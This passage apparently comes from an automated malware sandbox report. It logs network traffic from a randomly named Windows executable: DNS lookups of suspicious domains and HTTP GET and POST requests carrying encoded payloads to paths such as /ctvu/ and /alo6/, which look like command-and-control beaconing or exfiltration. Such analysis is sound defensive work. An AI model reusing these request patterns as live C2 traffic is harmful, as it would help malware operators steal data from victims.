                                                                        Nov 27, 2024 20:49:56.737487078 CET804996013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:56.737550974 CET4996080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:57.122760057 CET4996080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:57.244682074 CET804996013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:58.142040968 CET4996680192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:58.262227058 CET804996613.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:58.262350082 CET4996680192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:58.271604061 CET4996680192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:58.391786098 CET804996613.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:59.410774946 CET804996613.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:59.410818100 CET804996613.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:49:59.410949945 CET4996680192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:59.413922071 CET4996680192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:49:59.533977985 CET804996613.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:05.492880106 CET4997880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:05.618558884 CET8049978212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:05.618628025 CET4997880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:05.638088942 CET4997880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:05.758493900 CET8049978212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:06.932168007 CET8049978212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:06.932337999 CET8049978212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:06.932388067 CET4997880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:07.138359070 CET4997880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:08.156999111 CET4998580192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:08.276942968 CET8049985212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:08.278333902 CET4998580192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:08.292381048 CET4998580192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:08.412746906 CET8049985212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:09.589833021 CET8049985212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:09.590063095 CET8049985212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:09.590111971 CET4998580192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:09.798109055 CET4998580192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:10.813671112 CET4999280192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:10.935245991 CET8049992212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:10.935332060 CET4999280192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:10.951863050 CET4999280192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:11.072156906 CET8049992212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:11.072237968 CET8049992212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:12.249665976 CET8049992212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:12.298126936 CET4999280192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:12.341615915 CET8049992212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:12.342236042 CET4999280192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:12.466702938 CET4999280192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:13.485784054 CET4999880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:13.606041908 CET8049998212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:13.606152058 CET4999880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:13.616524935 CET4999880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:13.736566067 CET8049998212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:14.976682901 CET8049998212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:14.976711988 CET8049998212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:14.976819992 CET4999880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:14.989643097 CET4999880192.168.2.8212.123.41.108
                                                                        Nov 27, 2024 20:50:15.120547056 CET8049998212.123.41.108192.168.2.8
                                                                        Nov 27, 2024 20:50:20.930133104 CET5001180192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:21.050380945 CET805001138.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:21.050451040 CET5001180192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:21.072932005 CET5001180192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:21.192936897 CET805001138.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:22.578197002 CET5001180192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:22.641608000 CET805001138.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:22.641647100 CET805001138.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:22.641694069 CET5001180192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:22.641778946 CET5001180192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:22.698575974 CET805001138.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:22.698632002 CET5001180192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:23.604386091 CET5001780192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:23.725593090 CET805001738.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:23.730209112 CET5001780192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:23.742223978 CET5001780192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:23.865293026 CET805001738.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:25.247749090 CET5001780192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:25.415848017 CET805001738.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:25.851660013 CET805001738.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:25.851787090 CET5001780192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:26.270221949 CET5001880192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:26.393102884 CET805001838.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:26.394440889 CET5001880192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:26.408581972 CET5001880192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:26.528719902 CET805001838.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:26.528871059 CET805001838.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:27.922240019 CET5001880192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:28.042503119 CET805001838.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:28.042606115 CET805001838.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:28.042714119 CET805001838.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:28.042710066 CET5001880192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:28.042710066 CET5001880192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:28.042912960 CET5001880192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:28.944442987 CET5001980192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:29.070313931 CET805001938.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:29.070408106 CET5001980192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:29.082236052 CET5001980192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:29.203120947 CET805001938.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:30.615155935 CET805001938.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:30.615250111 CET805001938.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:30.615628958 CET5001980192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:30.618247986 CET5001980192.168.2.838.47.233.21
                                                                        Nov 27, 2024 20:50:30.740910053 CET805001938.47.233.21192.168.2.8
                                                                        Nov 27, 2024 20:50:37.280309916 CET5002080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:37.403531075 CET805002013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:37.403650999 CET5002080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:37.419449091 CET5002080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:37.543428898 CET805002013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:38.551011086 CET805002013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:38.551131010 CET5002080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:38.935357094 CET5002080192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:39.055861950 CET805002013.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:39.953859091 CET5002180192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:40.073978901 CET805002113.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:40.074428082 CET5002180192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:40.088668108 CET5002180192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:40.208740950 CET805002113.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:41.591607094 CET5002180192.168.2.813.248.169.48
                                                                        Nov 27, 2024 20:50:41.719729900 CET805002113.248.169.48192.168.2.8
                                                                        Nov 27, 2024 20:50:41.719806910 CET5002180192.168.2.813.248.169.48

                                                                        UDP Packets

                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                        Nov 27, 2024 20:47:17.320559978 CET6501353192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:47:17.942615032 CET53650131.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:47:34.624852896 CET5871353192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:47:35.621639013 CET5871353192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:47:36.621565104 CET5871353192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:47:38.637445927 CET5871353192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:47:40.641099930 CET53587131.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:47:41.077085018 CET53587131.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:47:41.651308060 CET53587131.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:47:43.152931929 CET53587131.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:48:01.938091040 CET6288053192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:48:02.949908972 CET6288053192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:48:03.008970976 CET53628801.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:48:03.327785015 CET53628801.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:48:24.425345898 CET5918453192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:48:24.848805904 CET53591841.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:48:39.548561096 CET5412453192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:48:40.413470030 CET53541241.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:48:55.251159906 CET6343253192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:48:55.600500107 CET53634321.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:49:10.141694069 CET5251353192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:49:10.374716043 CET53525131.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:49:18.453754902 CET6355253192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:49:19.041151047 CET53635521.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:49:33.391813993 CET6304253192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:49:33.886292934 CET53630421.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:49:49.345586061 CET6463553192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:49:50.086589098 CET53646351.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:50:04.429966927 CET5232753192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:50:05.420172930 CET5232753192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:50:05.489708900 CET53523271.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:50:05.579622030 CET53523271.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:50:20.001452923 CET5609053192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:50:20.918426037 CET53560901.1.1.1192.168.2.8
                                                                        Nov 27, 2024 20:50:36.704824924 CET5312053192.168.2.81.1.1.1
                                                                        Nov 27, 2024 20:50:37.277883053 CET53531201.1.1.1192.168.2.8

                                                                        DNS Queries

                                                                        TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                        Nov 27, 2024 20:47:17.320559978 CET192.168.2.81.1.1.10x6924Standard query (0)www.1secondlending.oneA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:34.624852896 CET192.168.2.81.1.1.10xb080Standard query (0)www.logidant.xyzA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:35.621639013 CET192.168.2.81.1.1.10xb080Standard query (0)www.logidant.xyzA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:36.621565104 CET192.168.2.81.1.1.10xb080Standard query (0)www.logidant.xyzA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:38.637445927 CET192.168.2.81.1.1.10xb080Standard query (0)www.logidant.xyzA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:01.938091040 CET192.168.2.81.1.1.10x7cdfStandard query (0)www.wcq77.topA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:02.949908972 CET192.168.2.81.1.1.10x7cdfStandard query (0)www.wcq77.topA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:24.425345898 CET192.168.2.81.1.1.10xb2eaStandard query (0)www.mindfulmo.lifeA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:39.548561096 CET192.168.2.81.1.1.10xa7c6Standard query (0)www.bienmaigrir.infoA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:55.251159906 CET192.168.2.81.1.1.10xa9c1Standard query (0)www.exitomagnetico.onlineA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:10.141694069 CET192.168.2.81.1.1.10xa9bcStandard query (0)www.betmatchx.onlineA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:18.453754902 CET192.168.2.81.1.1.10xf08eStandard query (0)www.bcg.servicesA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:33.391813993 CET192.168.2.81.1.1.10x4751Standard query (0)www.mffnow.infoA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:49.345586061 CET192.168.2.81.1.1.10x9ce7Standard query (0)www.remedies.proA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:04.429966927 CET192.168.2.81.1.1.10x98b6Standard query (0)www.caj-bioteaque.onlineA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:05.420172930 CET192.168.2.81.1.1.10x98b6Standard query (0)www.caj-bioteaque.onlineA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:20.001452923 CET192.168.2.81.1.1.10x4738Standard query (0)www.qqa79.topA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:36.704824924 CET192.168.2.81.1.1.10x4917Standard query (0)www.egyshare.xyzA (IP address)IN (0x0001)false

                                                                        DNS Answers

                                                                        TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                        Nov 27, 2024 20:47:17.942615032 CET1.1.1.1192.168.2.80x6924No error (0)www.1secondlending.one43.205.198.29A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:40.641099930 CET1.1.1.1192.168.2.80xb080No error (0)www.logidant.xyzlogidant.xyzCNAME (Canonical name)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:40.641099930 CET1.1.1.1192.168.2.80xb080No error (0)logidant.xyz45.141.156.114A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:41.077085018 CET1.1.1.1192.168.2.80xb080No error (0)www.logidant.xyzlogidant.xyzCNAME (Canonical name)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:41.077085018 CET1.1.1.1192.168.2.80xb080No error (0)logidant.xyz45.141.156.114A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:41.651308060 CET1.1.1.1192.168.2.80xb080No error (0)www.logidant.xyzlogidant.xyzCNAME (Canonical name)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:41.651308060 CET1.1.1.1192.168.2.80xb080No error (0)logidant.xyz45.141.156.114A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:43.152931929 CET1.1.1.1192.168.2.80xb080No error (0)www.logidant.xyzlogidant.xyzCNAME (Canonical name)IN (0x0001)false
                                                                        Nov 27, 2024 20:47:43.152931929 CET1.1.1.1192.168.2.80xb080No error (0)logidant.xyz45.141.156.114A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:03.008970976 CET1.1.1.1192.168.2.80x7cdfNo error (0)www.wcq77.topwcq77.topCNAME (Canonical name)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:03.008970976 CET1.1.1.1192.168.2.80x7cdfNo error (0)wcq77.top154.23.184.194A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:03.327785015 CET1.1.1.1192.168.2.80x7cdfNo error (0)www.wcq77.topwcq77.topCNAME (Canonical name)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:03.327785015 CET1.1.1.1192.168.2.80x7cdfNo error (0)wcq77.top154.23.184.194A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:24.848805904 CET1.1.1.1192.168.2.80xb2eaNo error (0)www.mindfulmo.life209.74.77.108A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:40.413470030 CET1.1.1.1192.168.2.80xa7c6No error (0)www.bienmaigrir.info35.220.176.144A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:55.600500107 CET1.1.1.1192.168.2.80xa9c1No error (0)www.exitomagnetico.online104.21.36.5A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:48:55.600500107 CET1.1.1.1192.168.2.80xa9c1No error (0)www.exitomagnetico.online172.67.182.171A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:10.374716043 CET1.1.1.1192.168.2.80xa9bcName error (3)www.betmatchx.onlinenonenoneA (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:19.041151047 CET1.1.1.1192.168.2.80xf08eNo error (0)www.bcg.services199.59.243.227A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:33.886292934 CET1.1.1.1192.168.2.80x4751No error (0)www.mffnow.info104.21.91.191A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:33.886292934 CET1.1.1.1192.168.2.80x4751No error (0)www.mffnow.info172.67.178.93A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:50.086589098 CET1.1.1.1192.168.2.80x9ce7No error (0)www.remedies.pro13.248.169.48A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:49:50.086589098 CET1.1.1.1192.168.2.80x9ce7No error (0)www.remedies.pro76.223.54.146A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:05.489708900 CET1.1.1.1192.168.2.80x98b6No error (0)www.caj-bioteaque.online212.123.41.108A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:05.579622030 CET1.1.1.1192.168.2.80x98b6No error (0)www.caj-bioteaque.online212.123.41.108A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:20.918426037 CET1.1.1.1192.168.2.80x4738No error (0)www.qqa79.topqqa79.topCNAME (Canonical name)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:20.918426037 CET1.1.1.1192.168.2.80x4738No error (0)qqa79.top38.47.233.21A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:37.277883053 CET1.1.1.1192.168.2.80x4917No error (0)www.egyshare.xyz13.248.169.48A (IP address)IN (0x0001)false
                                                                        Nov 27, 2024 20:50:37.277883053 CET1.1.1.1192.168.2.80x4917No error (0)www.egyshare.xyz76.223.54.146A (IP address)IN (0x0001)false

                                                                        HTTP Request Dependency Graph

                                                                        • www.1secondlending.one
                                                                        • www.logidant.xyz
                                                                        • www.wcq77.top
                                                                        • www.mindfulmo.life
                                                                        • www.bienmaigrir.info
                                                                        • www.exitomagnetico.online
                                                                        • www.bcg.services
                                                                        • www.mffnow.info
                                                                        • www.remedies.pro
                                                                        • www.caj-bioteaque.online
                                                                        • www.qqa79.top
                                                                        • www.egyshare.xyz

                                                                        HTTP Packets

                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        0192.168.2.84971043.205.198.29805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:47:18.078599930 CET473OUTGET /alo6/?UDg=ZFTXPHspLZsHZTR&nlF0=s1RhBgSSc/k3T0jY69p04wHuVqsYenMc25RslsirlG2uVcm1vZZrQ7zhNnD/cyUNeUvgDkKIi8l9eWRRC/1ChJTm4zr5bywukkNhHJN3UECub+Vt93mfiW3BVK92PuLmtQ== HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Connection: close
                                                                        Host: www.1secondlending.one
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Nov 27, 2024 20:47:19.574127913 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:47:19 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        1192.168.2.84971245.141.156.114805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:47:43.148758888 CET719OUTPOST /ctvu/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 205
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.logidant.xyz
                                                                        Origin: http://www.logidant.xyz
                                                                        Referer: http://www.logidant.xyz/ctvu/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 36 32 53 54 37 57 34 47 55 64 56 76 7a 44 56 46 78 71 42 4d 64 47 41 6c 70 67 70 76 63 51 52 38 78 68 67 6a 62 57 74 37 38 56 70 44 36 68 52 42 65 41 32 47 61 39 6c 64 71 75 6b 62 79 47 5a 4b 51 64 6b 6e 6f 7a 78 54 49 32 36 65 69 43 41 39 68 64 46 77 58 4a 35 52 73 66 4d 45 74 33 77 38 75 6f 74 48 34 44 49 44 62 6d 52 59 44 48 48 70 77 5a 41 44 51 66 52 42 57 57 62 4a 41 33 4c 33 49 66 36 4e 6f 62 51 72 47 41 4f 45 6a 73 43 33 4a 32 72 30 53 4a 6c 74 43 4f 76 56 67 41 54 39 45 63 51 33 57 34 58 71 71 6c 42 34 30 64 59 2b 4d 39 57 65 58 2b 4a 70 33 36 4f 4b 70 57 50 4f 52 6b 46 41 62 31 41 3d
                                                                        Data Ascii: nlF0=62ST7W4GUdVvzDVFxqBMdGAlpgpvcQR8xhgjbWt78VpD6hRBeA2Ga9ldqukbyGZKQdknozxTI26eiCA9hdFwXJ5RsfMEt3w8uotH4DIDbmRYDHHpwZADQfRBWWbJA3L3If6NobQrGAOEjsC3J2r0SJltCOvVgAT9EcQ3W4XqqlB40dY+M9WeX+Jp36OKpWPORkFAb1A=
                                                                        Nov 27, 2024 20:47:46.978807926 CET289INHTTP/1.1 404 Not Found
                                                                        Server: nginx
                                                                        Date: Wed, 27 Nov 2024 19:47:46 GMT
                                                                        Content-Type: text/html
                                                                        Content-Length: 146
                                                                        Connection: close
                                                                        Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                        Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>


                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                        2192.168.2.84971445.141.156.114805860C:\Program Files (x86)\QQHQTgfIdYvuiYmroAJdQlOYUcUFPTDPaoSKiqbKFOQJGNmKhZDdGcOpzNTCVDLBcCKHd\HgsHJMSZolWa.exe
                                                                        TimestampBytes transferredDirectionData
                                                                        Nov 27, 2024 20:47:49.538825989 CET739OUTPOST /ctvu/ HTTP/1.1
                                                                        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                        Accept-Encoding: gzip, deflate, br
                                                                        Accept-Language: en-US,en;q=0.5
                                                                        Cache-Control: no-cache
                                                                        Content-Length: 225
                                                                        Connection: close
                                                                        Content-Type: application/x-www-form-urlencoded
                                                                        Host: www.logidant.xyz
                                                                        Origin: http://www.logidant.xyz
                                                                        Referer: http://www.logidant.xyz/ctvu/
                                                                        User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 IT/1.1.20.1 Firefox/2.0.0.2 (.NET CLR 3.5.30729)
                                                                        Data Raw: 6e 6c 46 30 3d 36 32 53 54 37 57 34 47 55 64 56 76 79 69 6c 46 7a 4c 42 4d 4d 32 41 69 71 67 70 76 54 77 52 77 78 68 63 6a 62 53 31 72 38 44 35 44 36 44 5a 42 64 46 43 47 62 39 6c 64 79 2b 6b 61 38 6d 5a 52 51 64 6f 76 6f 79 4e 54 49 32 75 65 69 43 77 39 68 50 74 7a 57 5a 35 54 6c 2f 4d 43 70 33 77 38 75 6f 74 48 34 44 63 70 62 6d 4a 59 43 33 33 70 69 4c 6f 41 54 66 52 43 58 57 62 4a 52 6e 4b 2b 49 66 36 6a 6f 66 52 32 47 47 4b 45 6a 74 79 33 49 6e 72 33 59 4a 6b 6d 66 65 75 65 70 53 2b 78 43 4d 77 34 63 70 37 46 72 7a 52 36 34 4c 70 55 57 66 65 59 55 2b 68 43 33 35 6d 38 73 68 53 6d 4c 48 56 77 46 69 57 46 37 79 30 73 6b 4a 6c 68 6b 68 7a 42 47 69 78 70 32 53 71 6e
